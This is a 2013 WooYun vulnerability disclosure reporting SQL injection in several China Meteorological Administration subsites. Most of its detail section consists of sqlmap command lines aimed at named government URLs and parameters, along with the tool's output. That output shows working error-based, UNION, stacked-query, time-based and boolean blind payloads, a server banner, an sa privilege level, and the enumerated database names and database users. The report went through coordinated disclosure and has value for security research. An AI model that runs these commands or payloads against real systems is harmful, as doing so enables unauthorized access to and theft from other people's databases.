当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045405

漏洞标题:国家气象局多个分站sql injection

相关厂商:国家气象局

漏洞作者: litdg

提交时间:2013-12-09 17:48

修复时间:2014-01-23 17:49

公开时间:2014-01-23 17:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-09: 细节已通知厂商并且等待厂商处理中
2013-12-13: 厂商已经确认,细节仅向厂商公开
2013-12-23: 细节向核心白帽子及相关领域专家公开
2014-01-02: 细节向普通白帽子公开
2014-01-12: 细节向实习白帽子公开
2014-01-23: 细节向公众公开

简要描述:

一些边缘系统的安全防护还是很弱的。

详细说明:

1

C:\Documents and Settings\root>"C:\Documents and Settings\root\桌面\f4cktools\tools\注入工具\sqlmap-F4ck出品不需要py环境的exe版\SqlMap.exe" -u "http://qk.cams.cma.gov.cn//jams/ch/index.aspx?quarter_id=m5sgekrP&year_id=2013" -p quarter_id -b


sa权限。

---
Place: GET
Parameter: quarter_id
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: quarter_id=m5sgekrP' AND 3707=CONVERT(INT,(CHAR(58)+CHAR(110)+CHAR(
111)+CHAR(98)+CHAR(58)+(SELECT (CASE WHEN (3707=3707) THEN CHAR(49) ELSE CHAR(48
) END))+CHAR(58)+CHAR(107)+CHAR(113)+CHAR(97)+CHAR(58))) AND 'pvCS'='pvCS&year_i
d=2013
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: quarter_id=m5sgekrP' UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(110
)+CHAR(111)+CHAR(98)+CHAR(58)+CHAR(87)+CHAR(98)+CHAR(75)+CHAR(73)+CHAR(100)+CHAR
(105)+CHAR(112)+CHAR(80)+CHAR(84)+CHAR(88)+CHAR(58)+CHAR(107)+CHAR(113)+CHAR(97)
+CHAR(58), NULL, NULL, NULL-- AND 'cigJ'='cigJ&year_id=2013
---
[00:30:26] [INFO] the back-end DBMS is Microsoft SQL Server
[00:30:26] [INFO] fetching banner
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS operating system: Windows 2003 Service Pack 2


2,http://www.cmp.cma.gov.cn/membercenter/memberreg_process.asp的city和gender参数

python sqlmap.py -u "http://www.cmp.cma.gov.cn/membercenter/memberreg_process.asp" --data "account=%ca%e4%c8%eb%c4%fa%b5%c4%b5%e7%d7%d3%d3%ca%bc%fe%d7%f7%ce%aa%b5%c7%c2%bc%c3%fb&address=3137%20Laguna%20Street&btncheck=%bc%ec%b2%e2%d5%ca%ba%c5&btncheck2=%bc%ec%b2%e2%ea%c7%b3%c6&city=ZzdWOF3A&email=sample%40email.tst&gender=%c4%d0&nickname=wdgkxdri&password=g00dPa%24%24w0rD&phone=555-666-0606&postalcode=94102&realname=wdgkxdri&repassword=g00dPa%24%24w0rD&Submit3=%cf%d6%d4%da%d7%a2%b2%e1" -p city  --dbms="microsoft sql server" --users
sqlmap/1.0-dev-7054586 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:41:25
[00:41:25] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: city
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: account=%ca%e4%c8%eb%c4%fa%b5%c4%b5%e7%d7%d3%d3%ca%bc%fe%d7%f7%ce%aa%b5%c7%c2%bc%c3%fb&address=3137 Laguna Street&btncheck=%bc%ec%b2%e2%d5%ca%ba%c5&btncheck2=%bc%ec%b2%e2%ea%c7%b3%c6&city=ZzdWOF3A'; WAITFOR DELAY '0:0:5'--&email=sample@email.tst&gender=%c4%d0&nickname=wdgkxdri&password=g00dPa$$w0rD&phone=555-666-0606&postalcode=94102&realname=wdgkxdri&repassword=g00dPa$$w0rD&Submit3=%cf%d6%d4%da%d7%a2%b2%e1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: account=%ca%e4%c8%eb%c4%fa%b5%c4%b5%e7%d7%d3%d3%ca%bc%fe%d7%f7%ce%aa%b5%c7%c2%bc%c3%fb&address=3137 Laguna Street&btncheck=%bc%ec%b2%e2%d5%ca%ba%c5&btncheck2=%bc%ec%b2%e2%ea%c7%b3%c6&city=ZzdWOF3A' WAITFOR DELAY '0:0:5'--&email=sample@email.tst&gender=%c4%d0&nickname=wdgkxdri&password=g00dPa$$w0rD&phone=555-666-0606&postalcode=94102&realname=wdgkxdri&repassword=g00dPa$$w0rD&Submit3=%cf%d6%d4%da%d7%a2%b2%e1
---
[00:41:25] [INFO] testing Microsoft SQL Server
[00:41:25] [INFO] confirming Microsoft SQL Server
[00:41:25] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000


3,

sqlmap.py -u "http://library.cma.gov.cn:8088/backmanager/news/query_dtzy.asp?qu=" -p qu --dbs


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: qu
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: qu=%' AND 3182=3182 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: qu=%' AND 6597=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(118)+CHAR(108)+CHAR(113)+(SELECT (CASE WHEN (6597=6597) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(117)+CHAR(97)+CHAR(113)+CHAR(113))) AND '%'='
---
[01:00:36] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[01:00:36] [INFO] fetching database names
[01:00:36] [INFO] the SQL query used returns 11 entries
[01:00:37] [INFO] retrieved: cmaqikan
[01:00:37] [INFO] retrieved: lib
[01:00:37] [INFO] retrieved: libnew
[01:00:37] [INFO] retrieved: master
[01:00:37] [INFO] retrieved: model
[01:00:37] [INFO] retrieved: msdb
[01:00:38] [INFO] retrieved: Northwind
[01:00:38] [INFO] retrieved: pubs
[01:00:38] [INFO] retrieved: tempdb
[01:00:38] [INFO] retrieved: TRSWCMV65
[01:00:38] [INFO] retrieved: TRSWCMV65Plugins
available databases [11]:
[*] cmaqikan
[*] lib
[*] libnew
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] TRSWCMV65
[*] TRSWCMV65Plugins


database management system users [5]:
[*] BUILTIN\\Administrators
[*] sa
[*] test
[*] trs
[*] trsadmin

漏洞证明:

</code>

database management system users [5]:
[*] BUILTIN\\Administrators
[*] sa
[*] test
[*] trs
[*] trsadmin

修复方案:

版权声明:转载请注明来源 litdg@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2013-12-13 22:19

厂商回复:

最新状态:

暂无